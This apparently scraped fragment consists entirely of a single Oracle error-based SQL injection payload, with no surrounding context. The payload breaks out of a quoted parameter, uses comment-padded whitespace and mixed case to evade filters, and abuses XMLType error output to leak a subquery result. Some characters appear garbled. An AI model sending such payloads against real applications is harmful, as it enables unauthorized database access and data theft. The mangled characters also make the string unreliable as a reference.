1 1′) AND aND/**/2981=(SELEct/**/uppeR(XMltyPe(chr(60)||CHr(58)||~||(SElEct/**/(casE/**/wheN/**/(2981=2981)/**/tHeN/**/1/**/elSE/**/0/**/END)/**/FRom/**/DUAL)||~||chr(62)))/**/frOm/**/dUAl)– –